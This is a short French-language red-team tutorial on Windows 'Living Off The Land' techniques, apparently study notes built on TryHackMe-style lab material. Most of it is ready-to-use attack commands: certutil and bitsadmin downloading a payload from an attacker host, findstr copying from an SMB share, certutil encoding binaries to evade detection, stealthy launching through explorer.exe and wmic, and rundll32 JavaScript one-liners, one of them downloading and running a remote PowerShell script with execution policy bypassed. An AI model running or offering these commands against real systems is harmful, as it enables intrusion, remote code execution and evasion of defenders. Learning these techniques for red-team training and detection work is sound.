[Windows] Living Off the Land
Introduction
Le terme de Living Off The Land signifie se débrouiller avec les moyens du bord et donc avec les outils déjà présents dans notre contexte pour du Red teaming.
L'intérêt d'utiliser des outils déjà présent sont multiples :
- Ne pas éveiller les soupçons.
- L'utilisation d'outils externe est impossible pour une raison quelconque.
LOLBAS
Ce projet réunis les techniques et outils de Living Off The Land :
Manuel
Télécharger un fichier depuis un serveur HTTP
Il est possible de télécharger un fichier avec certutil.exe bien qu'il soit initialement conçu pour gérer les certificats sur Windows :
certutil -URLcache -split -f <URL> <OUTPUT>
Vous pouvez aussi utiliser BitsAdmin :
bitsadmin.exe /transfer /Download /priority Foreground http://<Attacker_IP>/payload.exe c:\Users\thm\Desktop\payload.exe
Télécharger un fichier depuis un serveur SMB
Grâce à l'outil findstr, il est possible de télécharger un fichier depuis un partage samba :
findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe
dummystring correspond à une chaîne non présente dans le fichier recherché.
Encoder un fichier
Avec certutil, on peut encoder un fichier et le rendre bien plus difficile à détecter :
certutil -encode <INPUT_FILE> <OUTPUT_ENCODED_FILE>
Vous pouvez encoder vos binaires de cette façon.
Exécuter un binaire
L'exécution de binaire peut se faire de manière traditionnelle via le cmd ou depuis le bureau.
Cependant, il existe des manières d'exécuter un fichier de manière plus discrète notamment avec l'explorateur de fichier qui sera le parent de notre processus si on exécute notre binaire de la façon suivante :
explorer.exe /root,"C:\Windows\System32\payload.exe"
On peut aussi le faire avec WMIC :
wmic.exe process call create payload
Le payload ne doit pas comporter d'extension (.exe) dans la commande !
On peut aussi utiliser RunDLL pour exécuter des programmes ou du code Javascript ou même Powershell :
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"payload\");window.close()");
Le payload ne doit pas comporter d'extension (.exe) dans la commande !
Et pour exécuter un script Powershell présent sur un serveur web distant :
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");